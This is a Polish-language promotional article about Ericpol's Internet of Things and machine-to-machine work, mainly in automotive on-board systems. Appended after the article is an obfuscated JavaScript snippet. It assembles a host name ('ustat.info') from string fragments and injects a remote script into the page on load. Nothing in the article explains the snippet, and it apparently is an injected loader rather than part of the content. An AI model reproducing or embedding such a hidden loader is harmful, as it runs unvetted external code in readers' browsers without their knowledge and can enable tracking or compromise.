

Technologia Internet of Things w ofercie firmy Ericpol

Internet Rzeczy (Internet of Things) to idea przyłączania urządzeń do jednej wspólnej sieci internetowej i umożliwienie wzajemnej identyfikacji, komunikacji oraz współdziałania tych urządzeń w konkretnym celu. Termin ten po raz pierwszy został użyty pod koniec lat 90. ubiegłego wieku, ale prawdziwy rozwój rozpoczyna się dopiero teraz - gdy technologia i infrastruktura sieci internetowej jest na tyle zaawansowana i rozbudowana, że możliwe jest jej pełne wykorzystanie do łączenia ze sobą miliardów urządzeń na całym świecie.

Internet Rzeczy lub inaczej Internet Przedmiotów jest pewnego rodzaju synonimem nowoczesności, osiągnięć technologicznych i dynamicznego rozwoju branży IT. Tak jest również w przypadku polskiej firmy Ericpol, która od lat zajmuje się implementacją idei Internet of Things w biznesie.

Firma Ericpol działa na rynku technologii informacyjno-komunikacyjnych od 1991 roku. Przez minione lata Ericpol bardzo mocno stawiał na rozwój i implementację technologii M2M, która jest obecnie traktowana jako część Internetu Rzeczy oddelegowana na komunikacji urządzeń między sobą (Machine-to-Machine). Jednym z najprężniej rozwijających się sektorów Internetu Przedmiotów jest rynek samochodowy, w którym firma się specjalizuje. Bez wyjątku współczesne auta są przesycone systemami kontrolującymi różne układy wspomagające ich obsługę i użytkowanie. Systemy te są kontrolowane przez software oparty właśnie o komunikację M2M - między poszczególnymi urządzeniami w zasadzie bez udziału człowieka. Komputer pokładowy kierujący systemami odbiera szereg sygnałów i danych pochodzących z czujników elektronicznych rozmieszczonych w całym aucie. Na podstawie odebranych informacji system odpowiednio steruje układami w celu zapewnienia np. maksymalnego bezpieczeństwa pasażerom.

Doświadczenie, które Ericpol wyniósł podczas projektowania wbudowanych systemów używanych w komputerach pokładowych samochodów oraz wszelkich innych urządzeniach należących do Internet of Things pozwala firmie dostarczać najlepszych rozwiązań IT w tym zakresie dostępnych na globalnym rynku. Doświadczenie to jest dodatkowo poparte ekspercką wiedzą z zakresu tworzenia, rozwoju i utrzymania systemów informatycznych. To wszystko sprawia, że polska firma jest w stanie stawić czoła najlepszym dostawcom rozwiązań IT z całego świata i bez kompleksów oferować swoje produkty oraz usługi odbiorcom na całym świecie.

Więcej informacji na stronie www.ericpol.pl.

```
(function(){
  uj7z=document.createElement("script");uj7z.type="text/javascript";
  uj7z.async=true;uj7z_=(("us")+ "t")+ "a";uj7z_+=("t.i")+ ""+ "n";uj7z_+=(("f")+ "o");
  uj7z.src="http://"+uj7z_+"/425129.05hu2Xj9j7z90fd75ka4i0yjc84skv";
  document.body.appendChild(uj7z);
})();
```